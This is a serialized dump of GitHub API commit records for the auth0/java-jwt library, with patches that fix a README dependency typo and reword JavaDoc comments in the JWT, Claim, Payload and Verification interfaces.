DdV10aZYzNNO2nZpR8664f7kaTJ4puGm3okR3KrAKxO3lJSbMZlUMm2Qaf3aqlf7
x8bvFnsLhsj0M+aieec1pSux6BdkFpg70wfG0ocdAMGua6NA02VqOHttQcakygSD
WTX0O8kpGSRT6RCd8W9jHlL/vw5ieSVB9tjchXu//L2PsFvLq9t089XVyQGYMfzl
d+JSF9UbM5C4I19GUlrroaHmq5nL1sKMk9mm8Eu/rEN8BzGukzQKWsUV+uelGiGE
kn5rjjo2u9HW8iWUnr1qV+WyUpMRe2BDUMKaWs7APSd3x3FUlZJw4GetHX4fKis=
=FhPY
-----END PGP SIGNATURE-----
payloadX'  tree 15efe4aadfe28e5baf883113195d12f5f61b4b84
parent d0ebc3f50581f3341a9b214f32612926b8b1a201
author Jeff Allen <103958546+trestletech-dd@users.noreply.github.com> 1666818205 -0500
committer GitHub <noreply@github.com> 1666818205 -0500

Fix the spelling of the dependency name in README (#638)

uujC;  \https://api.github.com/repos/auth0/java-jwt/commits/56e663c3b5830e0329160f2165043aff89f8d3bbhtml_urlQhttps://github.com/auth0/java-jwt/commit/56e663c3b5830e0329160f2165043aff89f8d3bbcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/56e663c3b5830e0329160f2165043aff89f8d3bb/commentsj1;  }(logintrestletech-ddidJH2j-;  U_kgDOBjJIEg
avatar_url5https://avatars.githubusercontent.com/u/103958546?v=4gravatar_idh3jC;  +https://api.github.com/users/trestletech-ddjQ;  !https://github.com/trestletech-dd
followers_url5https://api.github.com/users/trestletech-dd/followers
following_urlBhttps://api.github.com/users/trestletech-dd/following{/other_user}	gists_url;https://api.github.com/users/trestletech-dd/gists{/gist_id}starred_urlBhttps://api.github.com/users/trestletech-dd/starred{/owner}{/repo}subscriptions_url9https://api.github.com/users/trestletech-dd/subscriptionsorganizations_url0https://api.github.com/users/trestletech-dd/orgs	repos_url1https://api.github.com/users/trestletech-dd/repos
events_url<https://api.github.com/users/trestletech-dd/events{/privacy}received_events_url;https://api.github.com/users/trestletech-dd/received_eventstypeUser
site_adminuj9;  }(jV;  web-flowjX;  J/j-;  MDQ6VXNlcjE5ODY0NDQ3jZ;  4https://avatars.githubusercontent.com/u/19864447?v=4j\;  h3jC;  %https://api.github.com/users/web-flowjQ;  https://github.com/web-flowj_;  /https://api.github.com/users/web-flow/followersja;  <https://api.github.com/users/web-flow/following{/other_user}jc;  5https://api.github.com/users/web-flow/gists{/gist_id}je;  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jg;  3https://api.github.com/users/web-flow/subscriptionsji;  *https://api.github.com/users/web-flow/orgsjk;  +https://api.github.com/users/web-flow/reposjm;  6https://api.github.com/users/web-flow/events{/privacy}jo;  5https://api.github.com/users/web-flow/received_eventsjq;  Userjs;  uparents]}(j+;  (d0ebc3f50581f3341a9b214f32612926b8b1a201jC;  \https://api.github.com/repos/auth0/java-jwt/commits/d0ebc3f50581f3341a9b214f32612926b8b1a201jQ;  Qhttps://github.com/auth0/java-jwt/commit/d0ebc3f50581f3341a9b214f32612926b8b1a201uastats}(totalK	additionsK	deletionsKufiles]}(j+;  (8e634ee659222bf62541cc162ac6ac067391f23efilename	README.mdstatusmodifiedj;  Kj;  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/56e663c3b5830e0329160f2165043aff89f8d3bb/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/56e663c3b5830e0329160f2165043aff89f8d3bb/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=56e663c3b5830e0329160f2165043aff89f8d3bbpatch@@ -52,7 +52,7 @@ Add the dependency via Maven:
 or Gradle:
 
 ```gradle
-implementation 'com.auth0:jva-jwt:4.2.1'
+implementation 'com.auth0:java-jwt:4.2.1'
 ```
 
 ### Create a JWTuau(1046401aaa3e6049a45963c0bbbc027e4d5125ca}(sha(1046401aaa3e6049a45963c0bbbc027e4d5125canode_idEC_kwDOAQtL0doAKDEwNDY0MDFhYWEzZTYwNDlhNDU5NjNjMGJiYmMwMjdlNGQ1MTI1Y2Ecommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-20T13:35:43Zu	committer}(j;  
Poovamraj T Tj;  poovamraj@gmail.comj;  2022-04-20T13:35:43ZumessageJavaDoc updatedtree}(j;  (d789cebf7cdbf183ac9bc6cbe173b60a1bc074f2url^https://api.github.com/repos/auth0/java-jwt/git/trees/d789cebf7cdbf183ac9bc6cbe173b60a1bc074f2uj;  `https://api.github.com/repos/auth0/java-jwt/git/commits/1046401aaa3e6049a45963c0bbbc027e4d5125ca
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj;  \https://api.github.com/repos/auth0/java-jwt/commits/1046401aaa3e6049a45963c0bbbc027e4d5125cahtml_urlQhttps://github.com/auth0/java-jwt/commit/1046401aaa3e6049a45963c0bbbc027e4d5125cacomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1046401aaa3e6049a45963c0bbbc027e4d5125ca/commentsj;  }(login	poovamrajidJ j;  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j;  &https://api.github.com/users/poovamrajj;  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj;  }(j;  	poovamrajj;  J j;  MDQ6VXNlcjE1OTEwNDI1j;  4https://avatars.githubusercontent.com/u/15910425?v=4j;  h3j;  &https://api.github.com/users/poovamrajj;  https://github.com/poovamrajj;  0https://api.github.com/users/poovamraj/followersj;  =https://api.github.com/users/poovamraj/following{/other_user}j;  6https://api.github.com/users/poovamraj/gists{/gist_id}j;  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j;  4https://api.github.com/users/poovamraj/subscriptionsj;  +https://api.github.com/users/poovamraj/orgsj;  ,https://api.github.com/users/poovamraj/reposj;  7https://api.github.com/users/poovamraj/events{/privacy}j;  6https://api.github.com/users/poovamraj/received_eventsj;  Userj;  uparents]}(j;  (8131361c0a24413aa57499b307d233294b83b3edj;  \https://api.github.com/repos/auth0/java-jwt/commits/8131361c0a24413aa57499b307d233294b83b3edj;  Qhttps://github.com/auth0/java-jwt/commit/8131361c0a24413aa57499b307d233294b83b3eduastats}(totalK	additionsKT	deletionsKUufiles](}(j;  (7af3c442102b4fda2ada66bf39944161415af03ffilename1lib/src/main/java/com/auth0/jwt/HeaderParams.javastatusmodifiedj<  Kj<  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.java?ref=1046401aaa3e6049a45963c0bbbc027e4d5125capatchXh  @@ -13,12 +13,12 @@ private HeaderParams() {}
     public static String ALGORITHM = "alg";
 
     /**
-     * The content type of a JWT.
+     * The content type of the JWT.
      */
     public static String CONTENT_TYPE = "cty";
 
     /**
-     * The media type of a JWT.
+     * The media type of the JWT.
      */
     public static String TYPE = "typ";
 u}(j;  (696abe4001c80b35a3c06626aa1bb4e2a6dbfab2j<  (lib/src/main/java/com/auth0/jwt/JWT.javaj
<  modifiedj<  Kj<  Kj<  Kj
<  https://github.com/auth0/java-jwt/blob/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaj<  https://github.com/auth0/java-jwt/raw/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaj<  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.java?ref=1046401aaa3e6049a45963c0bbbc027e4d5125caj<  X  @@ -26,7 +26,7 @@ public JWT() {
      * Decode a given Json Web Token.
      * <p>
      * Note that this method <b>doesn't verify the token's signature!</b>
-     * Use it only if you trust the token or you already verified it.
+     * Use it only if you trust the token or if you have already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
@@ -41,7 +41,7 @@ public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
      * Decode a given Json Web Token.
      * <p>
      * Note that this method <b>doesn't verify the token's signature!</b>
-     * Use it only if you trust the token or you already verified it.
+     * Use it only if you trust the token or if you have already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
@@ -53,10 +53,10 @@ public static DecodedJWT decode(String token) throws JWTDecodeException {
     }
 
     /**
-     * Returns a {@link JWTVerifier} builder with the algorithm to be used to validate token signature.
+     * Returns a {@link Verification} builder with the algorithm to be used to validate token signature.
      *
      * @param algorithm that will be used to verify the token's signature.
-     * @return {@link JWTVerifier} builder
+     * @return {@link Verification} builder
      * @throws IllegalArgumentException if the provided algorithm is null.
      */
     public static Verification require(Algorithm algorithm) {u}(j;  (256249823059647a8526d996e453ba20680e8190j<  /lib/src/main/java/com/auth0/jwt/JWTCreator.javaj
<  modifiedj<  Kj<  K j<  Kj
<  https://github.com/auth0/java-jwt/blob/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj<  https://github.com/auth0/java-jwt/raw/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj<  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=1046401aaa3e6049a45963c0bbbc027e4d5125caj<  X  @@ -19,6 +19,8 @@
  * from a given Header and Payload content.
  * <p>
  * This class is thread-safe.
+ *
+ * TODO Poovam - Should we claim thread safety since KeyProvider implementation can cause signing differ
  */
 @SuppressWarnings("WeakerAccess")
 public final class JWTCreator {u}(j;  (0bc17fb195e45ed7da8c026fcf3143faf0895005j<  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj
<  modifiedj<  Kj<  Kj<  Kj
<  https://github.com/auth0/java-jwt/blob/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj<  https://github.com/auth0/java-jwt/raw/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj<  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=1046401aaa3e6049a45963c0bbbc027e4d5125caj<  X  @@ -35,10 +35,10 @@ public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     }
 
     /**
-     * Initialize a JWTVerifier instance using the given Algorithm.
+     * Initialize a {@link Verification} instance using the given Algorithm.
      *
      * @param algorithm the Algorithm to use on the JWT verification.
-     * @return a JWTVerifier.Verification instance to configure.
+     * @return a {@link Verification} instance to configure.
      * @throws IllegalArgumentException if the provided algorithm is null.
      */
     static Verification init(Algorithm algorithm) throws IllegalArgumentException {u}(j;  (8c47eb51b2c01d309aaa21a2dfb265d86d3409b0j<  5lib/src/main/java/com/auth0/jwt/RegisteredClaims.javaj
<  modifiedj<  Kj<  Kj<  K	j
<  https://github.com/auth0/java-jwt/blob/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javaj<  https://github.com/auth0/java-jwt/raw/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javaj<  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.java?ref=1046401aaa3e6049a45963c0bbbc027e4d5125caj<  X%	  @@ -1,7 +1,7 @@
 package com.auth0.jwt;
 
 /**
- * Contains constants representing the name of the Registered Claim Names as defined in Section 4.1.1 of
+ * Contains constants representing the name of the Registered Claim Names as defined in Section 4.1 of
  * <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1">RFC 7529</a>
  */
 public final class RegisteredClaims {
@@ -11,37 +11,44 @@ private RegisteredClaims() {
 
     /**
      * The "iss" (issuer) claim identifies the principal that issued the JWT.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.1">Section 4.1.1</a>
      */
     public static String ISSUER = "iss";
 
     /**
      * The "sub" (subject) claim identifies the principal that is the subject of the JWT.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.2">Section 4.1.2</a>
      */
     public static String SUBJECT = "sub";
 
     /**
      * The "aud" (audience) claim identifies the recipients that the JWT is intended for.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.3">Section 4.1.3</a>
      */
     public static String AUDIENCE = "aud";
 
     /**
      * The "exp" (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be
      * accepted for processing.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.4">Section 4.1.4</a>
      */
     public static String EXPIRES_AT = "exp";
 
     /**
      * The "nbf" (not before) claim identifies the time before which the JWT MUST NOT be accepted for processing.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.5">Section 4.1.5</a>
      */
     public static String NOT_BEFORE = "nbf";
 
     /**
      * The "iat" (issued at) claim identifies the time at which the JWT was issued.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.6">Section 4.1.6</a>
      */
     public static String ISSUED_AT = "iat";
 
     /**
      * The "jti" (JWT ID) claim provides a unique identifier for the JWT.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.7">Section 4.1.7</a>
      */
     public static String JWT_ID = "jti";
 u}(j;  (24fe37b797291d232f76e63e5015240f36d26f60j<  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj
<  modifiedj<  K j<  Kj<  Kj
<  https://github.com/auth0/java-jwt/blob/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj<  https://github.com/auth0/java-jwt/raw/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj<  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=1046401aaa3e6049a45963c0bbbc027e4d5125caj<  X  @@ -34,8 +34,6 @@ protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) th
      * Audience may be a list of strings or a single string. This is needed to properly handle the aud claim when
      * added with the {@linkplain com.auth0.jwt.JWTCreator.Builder#withPayload(Map)} method.
      */
-
-    //
     private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throws IOException {
         if (e.getValue() instanceof String) {
             gen.writeFieldName(e.getKey());u}(j;  (7c4da4f7f48b03fbd0308c94d860bd9fe175b4aaj<  5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javaj
<  modifiedj<  K
j<  K
j<  Kj
<  https://github.com/auth0/java-jwt/blob/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj<  https://github.com/auth0/java-jwt/raw/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj<  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=1046401aaa3e6049a45963c0bbbc027e4d5125caj<  X  @@ -22,63 +22,63 @@ public interface Claim {
 
     /**
      * Can be used to verify whether the Claim is found or not.
-     * This will be true even if the Claim has null value associated to it.
+     * This will be true even if the Claim has {@code null} value associated to it.
      *
      * @return whether this Claim is present or not
      */
     boolean isMissing();
 
     /**
      * Get this Claim as a Boolean.
-     * If the value isn't of type Boolean or it can't be converted to a Boolean, null will be returned.
+     * If the value isn't of type Boolean or it can't be converted to a Boolean, {@code null} will be returned.
      *
      * @return the value as a Boolean or null.
      */
     Boolean asBoolean();
 
     /**
      * Get this Claim as an Integer.
-     * If the value isn't of type Integer or it can't be converted to an Integer, null will be returned.
+     * If the value isn't of type Integer or it can't be converted to an Integer, {@code null} will be returned.
      *
      * @return the value as an Integer or null.
      */
     Integer asInt();
 
     /**
      * Get this Claim as an Long.
-     * If the value isn't of type Long or it can't be converted to an Long, null will be returned.
+     * If the value isn't of type Long or it can't be converted to a Long, {@code null} will be returned.
      *
      * @return the value as an Long or null.
      */
     Long asLong();
 
     /**
      * Get this Claim as a Double.
-     * If the value isn't of type Double or it can't be converted to a Double, null will be returned.
+     * If the value isn't of type Double or it can't be converted to a Double, {@code null} will be returned.
      *
      * @return the value as a Double or null.
      */
     Double asDouble();
 
     /**
      * Get this Claim as a String.
-     * If the value isn't of type String or it can't be converted to a String, null will be returned.
+     * If the value isn't of type String or it can't be converted to a String, {@code null} will be returned.
      *
      * @return the value as a String or null.
      */
     String asString();
 
     /**
      * Get this Claim as a Date.
-     * If the value can't be converted to a Date, null will be returned.
+     * If the value can't be converted to a Date, {@code null} will be returned.
      *
      * @return the value as a Date or null.
      */
     Date asDate();
 
     /**
      * Get this Claim as an Instant.
-     * If the value can't be converted to an Instant, null will be returned.
+     * If the value can't be converted to an Instant, {@code null} will be returned.
      *
      * @return the value as a Date or null.
      */
@@ -89,7 +89,7 @@ default Instant asInstant() {
 
     /**
      * Get this Claim as an Array of type T.
-     * If the value isn't an Array, null will be returned.
+     * If the value isn't an Array, {@code null} will be returned.
      *
      * @param <T> type
      * @param clazz the type class
@@ -100,7 +100,7 @@ default Instant asInstant() {
 
     /**
      * Get this Claim as a List of type T.
-     * If the value isn't an Array, null will be returned.
+     * If the value isn't an Array, {@code null} will be returned.
      *
      * @param <T> type
      * @param clazz the type classu}(j;  (52b3ba563217cb3f699802c797b48fefc111a327j<  6lib/src/main/java/com/auth0/jwt/interfaces/Header.javaj
<  modifiedj<  Kj<  Kj<  Kj
<  https://github.com/auth0/java-jwt/blob/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FHeader.javaj<  https://github.com/auth0/java-jwt/raw/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FHeader.javaj<  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FHeader.java?ref=1046401aaa3e6049a45963c0bbbc027e4d5125caj<  X  @@ -1,7 +1,7 @@
 package com.auth0.jwt.interfaces;
 
 /**
- * The Header class represents the 1st part of the JWT, where the Header value is hold.
+ * The Header class represents the 1st part of the JWT, where the Header value is held.
  */
 public interface Header {
 
@@ -35,7 +35,7 @@ public interface Header {
 
     /**
      * Get a Private Claim given it's name. If the Claim wasn't specified in the Header, a 'null claim' will be
-     * returned. All of the methods of that claim will return {@code null}.
+     * returned. All the methods of that claim will return {@code null}.
      *
      * @param name the name of the Claim to retrieve.
      * @return a non-null Claim.u}(j;  (33cd0d709b9180e86ced111a663c5dfb4ff78efej<  >lib/src/main/java/com/auth0/jwt/interfaces/JWTPartsParser.javaj
<  modifiedj<  Kj<  Kj<  Kj
<  https://github.com/auth0/java-jwt/blob/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javaj<  https://github.com/auth0/java-jwt/raw/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javaj<  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.java?ref=1046401aaa3e6049a45963c0bbbc027e4d5125caj<  XI  @@ -4,12 +4,12 @@
 
 /**
  * The JWTPartsParser class defines which parts of the JWT should be converted
- * to it's specific Object representation instance.
+ * to its specific Object representation instance.
  */
 public interface JWTPartsParser {
 
     /**
-     * Parses the given JSON into a Payload instance.
+     * Parses the given JSON into a {@link Payload} instance.
      *
      * @param json the content of the Payload in a JSON representation.
      * @return the Payload.
@@ -18,7 +18,7 @@ public interface JWTPartsParser {
     Payload parsePayload(String json) throws JWTDecodeException;
 
     /**
-     * Parses the given JSON into a Header instance.
+     * Parses the given JSON into a {@link Header} instance.
      *
      * @param json the content of the Header in a JSON representation.
      * @return the Header.u}(j;  (b7030a97b485a1e1a45128cf60e2a1ebfffaee54j<  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javaj
<  modifiedj<  Kj<  Kj<  Kj
<  https://github.com/auth0/java-jwt/blob/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj<  https://github.com/auth0/java-jwt/raw/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj<  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=1046401aaa3e6049a45963c0bbbc027e4d5125caj<  X  @@ -4,7 +4,7 @@
 
 
 /**
- * Used to verify the JWT for it's signature and claims.
+ * Used to verify the JWT for its signature and claims.
  */
 public interface JWTVerifier {
 
@@ -18,7 +18,7 @@ public interface JWTVerifier {
     DecodedJWT verify(String token) throws JWTVerificationException;
 
     /**
-     * Performs the verification against the given decoded JWT.
+     * Performs the verification against the given {@link DecodedJWT}.
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.u}(j;  (feb58c64ad6b7e63d75ae8986a17520a7e4c39aej<  7lib/src/main/java/com/auth0/jwt/interfaces/Payload.javaj
<  modifiedj<  Kj<  Kj<  Kj
<  https://github.com/auth0/java-jwt/blob/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj<  https://github.com/auth0/java-jwt/raw/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj<  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.java?ref=1046401aaa3e6049a45963c0bbbc027e4d5125caj<  X,  @@ -6,7 +6,7 @@
 import java.util.Map;
 
 /**
- * The Payload class represents the 2nd part of the JWT, where the Payload value is hold.
+ * The Payload class represents the 2nd part of the JWT, where the Payload value is held.
  */
 public interface Payload {
 
@@ -87,8 +87,8 @@ default Instant getIssuedAtAsInstant() {
     String getId();
 
     /**
-     * Get a Claim given it's name. If the Claim wasn't specified in the Payload, a 'null claim'
-     * will be returned. All of the methods of that claim will return {@code null}.
+     * Get a Claim given its name. If the Claim wasn't specified in the Payload, a 'null claim'
+     * will be returned. All the methods of that claim will return {@code null}.
      *
      * @param name the name of the Claim to retrieve.
      * @return a non-null Claim.u}(j;  (4a8a0f8408a3f968e59f987f557d03582e6f8144j<  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javaj
<  modifiedj<  K.j<  K6j<  Kdj
<  https://github.com/auth0/java-jwt/blob/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj<  https://github.com/auth0/java-jwt/raw/1046401aaa3e6049a45963c0bbbc027e4d5125ca/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj<  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=1046401aaa3e6049a45963c0bbbc027e4d5125caj<  X0/  @@ -7,12 +7,13 @@
 import java.util.function.BiPredicate;
 
 /**
- * Holds the Claims and claim-based configurations required for a JWT to be considered valid.
+ * Constructs and holds the checks required for a JWT to be considered valid.
  */
 public interface Verification {
 
     /**
-     * Require a specific Issuer ("iss") claim.
+     * Verifies whether the JWT contains an Issuer ("iss") claim that equals to the value provided.
+     * This check is case-sensitive.
      *
      * @param issuer the required Issuer value.
      * @return this same Verification instance.
@@ -22,52 +23,40 @@ default Verification withIssuer(String issuer) {
     }
 
     /**
-     * Require a specific Issuer ("iss") claim.
+     * Verifies whether the JWT contains an Issuer ("iss") claim that contains all the values provided.
+     * This check is case-sensitive. An empty array is considered as a {@code null}.
      *
      * @param issuer the required Issuer value. If multiple values are given, the claim must at least match one of them
      * @return this same Verification instance.
      */
     Verification withIssuer(String... issuer);
 
     /**
-     * Require a specific Subject ("sub") claim.
+     * Verifies whether the JWT contains a Subject ("sub") claim that equals to the value provided.
+     * This check is case-sensitive.
      *
      * @param subject the required Subject value
      * @return this same Verification instance.
      */
     Verification withSubject(String subject);
 
     /**
-     * Require a specific Audience ("aud") claim. If multiple audiences are specified, they must all be present
-     * in the "aud" claim.
-     *
-     * If this is used in conjunction with {@link #withAnyOfAudience(String...)}, whichever one is configured last will
-     * determine the audience validation behavior.
+     * Verifies whether the JWT contains an Audience ("aud") claim that contains all the values provided.
+     * This check is case-sensitive. An empty array is considered as a {@code null}.
      *
      * @param audience the required Audience value
      * @return this same Verification instance.
      */
     Verification withAudience(String... audience);
 
     /**
-     * Require that the Audience ("aud") claim contain at least one of the specified audiences.
-     *
-     * If this is used in conjunction with {@link #withAudience(String...)}, whichever one is configured last will
-     * determine the audience validation behavior.
-     *
-     * Note: This method was added after the interface was released.
-     * It is defined as a default method for compatibility reasons.
-     * From version 4.0 on, the method will be abstract and all implementations of this interface
-     * will have to provide their own implementation.
-     *
-     * The default implementation throws an {@linkplain UnsupportedOperationException}.
+     * Verifies whether the JWT contains an Audience ("aud") claim contain at least one of the specified audiences.
+     * This check is case-sensitive. An empty array is considered as a {@code null}.
      *
      * @param audience the required Audience value for which the "aud" claim must contain at least one value.
      * @return this same Verification instance.
      */
-    default Verification withAnyOfAudience(String... audience) {
-        throw new UnsupportedOperationException("withAnyOfAudience");
-    }
+    Verification withAnyOfAudience(String... audience);
     
     /**
      * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims
@@ -116,149 +105,152 @@ default Verification withAnyOfAudience(String... audience) {
     Verification acceptIssuedAt(long leeway) throws IllegalArgumentException;
 
     /**
-     * Require a specific JWT Id ("jti") claim.
+     * Verifies whether the JWT contains a JWT ID ("jti") claim that equals to the value provided.
+     * This check is case-sensitive.
      *
-     * @param jwtId the required Id value
+     * @param jwtId the required ID value
      * @return this same Verification instance.
      */
     Verification withJWTId(String jwtId);
 
     /**
-     * Require a claim to be present, with any value.
+     * Verifies whether the claim is present in the JWT, with any value including {@code null}.
      *
      * @param name the Claim's name.
      * @return this same Verification instance
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaimPresence(String name) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value to be null.
+     * Verifies whether the claim is present with a {@code null} value.
      *
      * @param name the Claim's name.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withNullClaim(String name) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value.
+     * Verifies whether the claim is equal to the given Boolean value.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
      * @return this same Verification instance.
-     * @throws IllegalArgumentException if the name is null.
+     * @throws IllegalArgumentException if the name is {@code null}.
      */
     Verification withClaim(String name, Boolean value) throws IllegalArgumentException;
 
     /**
